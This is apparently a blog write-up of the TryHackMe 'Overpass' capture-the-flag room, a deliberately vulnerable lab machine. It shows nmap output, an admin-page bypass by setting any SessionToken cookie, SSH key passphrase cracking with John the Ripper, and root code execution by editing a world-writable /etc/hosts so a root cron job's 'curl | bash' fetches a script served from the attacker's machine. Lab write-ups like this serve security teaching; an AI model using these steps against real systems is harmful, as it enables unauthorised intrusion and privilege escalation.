TryHackMe - Overpass
Scan with nmap
kali@kali:~/ctf/thm/overpass$ sudo nmap -sC -O -sV 10.10.183.194
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-24 19:40 PST
Nmap scan report for 10.10.183.194
Host is up (0.16s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)
| 256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)
|_ 256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)
80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Overpass
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=1/24%OT=22%CT=1%CU=37143%PV=Y%DS=4%DC=I%G=Y%TM=600E3DE
OS:6%P=x86_64-pc-linux-gnu)SEQ(SP=FA%GCD=1%ISR=104%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M505ST11NW7%O2=M505ST11NW7%O3=M505NNT11NW7%O4=M505ST11NW7%O5=M505ST11
OS:NW7%O6=M505ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(
OS:R=Y%DF=Y%T=40%W=F507%O=M505NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.73 seconds
Web page
Poking around the web pages on the host shows a minimal description of the "product" which is a password manager. You can find out about the "team", downloads source and or binaries, and if you poke around enough, find a /admin
page with a typical username
and password
form.
At first I downloaded the source for the password manager. It's straightforward in that it has a few commands for reading or writing passwords. The passwords are "encrypted" using rot47, and that's about it. Nothing to exploit in there for now.
I tried a few of the usual suspects on the login page, probing for SQLi, a little brute forcing before using the hint that it wasn't going to work (thank goodness, those get old after a while), and had to take a break to think about it some more. You can (and should) look at all of the source code for a page like this. The HTML shows nothing particularly interesting, but there is javascript on the login page that handles posting the username and password rather than allowing the browser to do it automatically via the form:
async function login() {
const usernameBox = document.querySelector("#username");
const passwordBox = document.querySelector("#password");
const loginStatus = document.querySelector("#loginStatus");
loginStatus.textContent = ""
const creds = { username: usernameBox.value, password: passwordBox.value }
const response = await postData("/api/login", creds)
const statusOrCookie = await response.text()
if (statusOrCookie === "Incorrect credentials") {
loginStatus.textContent = "Incorrect Credentials"
passwordBox.value=""
} else {
Cookies.set("SessionToken",statusOrCookie)
window.location = "/admin"
}
}
It occurred to me after a while that the only difference on the client side between a successful login and a failure was taking the else
path which sets the "SessionToken"
cookie and reloads the /admin
page. I decided to try setting a cookie with that name to see what happens. I didn't even try to be clever about setting a value yet.
Broken Authentication
Broken authentication is in OWASP's Top 10 Web Application Security Risks and it's pretty much what this page suffers from. The mere presence of the "SessionToken"
cookie, regardless of value, is enough to present us with different content for the admin
page. This page displays a private key and a message.
Since you keep forgetting your password, James, I've set up SSH keys for you.
If you forget the password for this, crack it yourself. I'm tired of fixing stuff for you.
Also, we really need to talk about this "Military Grade" encryption. - Paradox
Using the private key
I saved the private key to an id_rsa
file, but in order to use it (presumably to log in via ssh
) I was going to need to get the password for it. Our old pal John the Ripper might do the job.
First, convert the id_rsa
file to something John can crack:
kali@kali:~/ctf/thm/overpass$ python ~/tools/ssh2john.py id_rsa > id_rsa.hash
Then try and crack it:
kali@kali:~/ctf/thm/overpass$ john id_rsa.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
james13 (id_rsa)
Logging in with ssh
Now we can connect to the machine via ssh
using the id_rsa
private key for authentication and the password we cracked for it. We can guess at a username of james
as well since the message mentioned it.
kali@kali:~/ctf/thm/overpass$ ssh -i id_rsa james@10.10.183.194
The authenticity of host '10.10.183.194 (10.10.183.194)' can't be established.
ECDSA key fingerprint is SHA256:4P0PNh/u8bKjshfc6DBYwWnjk1Txh5laY/WbVPrCUdY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.183.194' (ECDSA) to the list of known hosts.
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon Jan 25 03:59:15 UTC 2021
System load: 0.08 Processes: 88
Usage of /: 22.3% of 18.57GB Users logged in: 0
Memory usage: 12% IP address for eth0: 10.10.183.194
Swap usage: 0%
47 packages can be updated.
0 updates are security updates.
Last login: Sat Jun 27 04:45:40 2020 from 192.168.170.1
james@overpass-prod:~$
Got user.txt
?
james@overpass-prod:~$ ls -la
total 48
drwxr-xr-x 6 james james 4096 Jun 27 2020 .
drwxr-xr-x 4 root root 4096 Jun 27 2020 ..
lrwxrwxrwx 1 james james 9 Jun 27 2020 .bash_history -> /dev/null
-rw-r--r-- 1 james james 220 Jun 27 2020 .bash_logout
-rw-r--r-- 1 james james 3771 Jun 27 2020 .bashrc
drwx------ 2 james james 4096 Jun 27 2020 .cache
drwx------ 3 james james 4096 Jun 27 2020 .gnupg
drwxrwxr-x 3 james james 4096 Jun 27 2020 .local
-rw-r--r-- 1 james james 49 Jun 27 2020 .overpass
-rw-r--r-- 1 james james 807 Jun 27 2020 .profile
drwx------ 2 james james 4096 Jun 27 2020 .ssh
-rw-rw-r-- 1 james james 438 Jun 27 2020 todo.txt
-rw-rw-r-- 1 james james 38 Jun 27 2020 user.txt
james@overpass-prod:~$ cat user.txt
thm{********************************}
How to get root.txt
?
I've become fond of using LinPEAS to quickly look for ways to escalate privileges. I'm also tending to remember to check sudo -l
first just in case that turns something up first. In this case LinPEAS points out there is a cron
job set to run as root
every minute:
james@overpass-prod:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
So this very dangerous cron
job downloads buildscript.sh
and pipes it to bash
. Maybe we can alter the content of buildscript.sh
or what this job downloads?
overpass.thm
But what is overpass.thm
? Some kind of host that this machine can resolve... "thm" is not a gTLD but there are other ways than DNS for a hostname to be resolved.
james@overpass-prod:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 overpass-prod
127.0.0.1 overpass.thm
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
james@overpass-prod:~$ ll /etc/hosts
-rw-rw-rw- 1 root root 250 Jun 27 2020 /etc/hosts
/etc/hosts
reveals that overpass.thm is at 127.0.0.1
which is this localhost. But notice that the /etc/hosts
file is world writeable. This means we can change that IP address to something else. Like a machine we control, our attacker machine.
Attacker web server
First we make up a new buildscript.sh
to do something we want. Since it will be executed by root
on the victim machine, we can do anything we want. In the interest of time, I like guessing at where I will find the root.txt
file and just copying it somewhere we have access to and making it readable:
cp /root/root.txt /home/james/root.txt && chmod 666 /home/james/root.txt
With our directory laid out like this, a simple way to run a web server is using python.
kali@kali:~/ctf/thm/overpass$ ll -R
.:
total 2688
-rwxr-xr-x 1 kali kali 495 Nov 17 21:21 buildscript.sh
drwxr-xr-x 3 kali kali 4096 Jan 24 16:57 downloads
-rw------- 1 kali kali 1765 Jan 24 15:56 id_rsa
-rw-r--r-- 1 kali kali 2458 Jan 24 19:55 id_rsa.hash
-rw-r--r-- 1 kali kali 5094 Nov 17 21:16 overpass.go
-rwxr-xr-x 1 kali kali 2722020 Nov 17 21:29 overpassLinux
./downloads:
total 4
drwxr-xr-x 2 kali kali 4096 Jan 24 17:01 src
./downloads/src:
total 4
-rw-r--r-- 1 kali kali 73 Jan 24 16:58 buildscript.sh
kali@kali:~/ctf/thm/overpass$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.183.194 - - [24/Jan/2021 20:17:23] "GET /downloads/src/buildscript.sh HTTP/1.1" 200 -
We can see that after a minute, something (the victim machine) requested the buildscript.sh
file and it was successful (200
). Switching back to the victim machine confirms it worked:
james@overpass-prod:~$ ll
total 56
drwxr-xr-x 6 james james 4096 Jan 25 04:20 ./
drwxr-xr-x 4 root root 4096 Jun 27 2020 ../
lrwxrwxrwx 1 james james 9 Jun 27 2020 .bash_history -> /dev/null
-rw-r--r-- 1 james james 220 Jun 27 2020 .bash_logout
-rw-r--r-- 1 james james 3771 Jun 27 2020 .bashrc
drwx------ 2 james james 4096 Jun 27 2020 .cache/
drwx------ 3 james james 4096 Jun 27 2020 .gnupg/
drwxrwxr-x 3 james james 4096 Jun 27 2020 .local/
-rw-r--r-- 1 james james 49 Jun 27 2020 .overpass
-rw-r--r-- 1 james james 807 Jun 27 2020 .profile
drwx------ 2 james james 4096 Jun 27 2020 .ssh/
-rw------- 1 james james 811 Jan 25 04:17 .viminfo
-rw-rw-rw- 1 root root 38 Jan 25 04:20 root.txt
-rw-rw-r-- 1 james james 438 Jun 27 2020 todo.txt
-rw-rw-r-- 1 james james 38 Jun 27 2020 user.txt
james@overpass-prod:~$ cat root.txt
thm{********************************}
Bonus
The CTF was written a while ago and mentions there is an additional flag. The first person to get that flag and submit it wins a TryHackMe subscription code. I decided it had already been achieved and didn't bother. One imagines once you are executing code as root you can do anything like make the tryhackme
home directory readable etc.
Ok, I lied. Now that I've written this up I decided to look into it. I altered the buildscript.sh
to make /home/tryhackme
world read-writeable. Inside the directory is a .overpass
file. We can copy its contents to our own ~/.overpass
file and run the overpassLinux
program to "decrypt" it.
james@overpass-prod:/home/tryhackme$ cat .overpass
,LQ?2>6QiQ%CJw24<|6 $F3D4C:AE:@? r@56Q[QA2DDQiQ8>%sJ=QN.
kali@kali:~/ctf/thm/overpass$ ./overpassLinux
Welcome to Overpass
Options:
1 Retrieve Password For Service
2 Set or Update Password For Service
3 Delete Password For Service
4 Retrieve All Passwords
5 Exit
Choose an option: 4
TryHackMe Subscription Code gmTDyl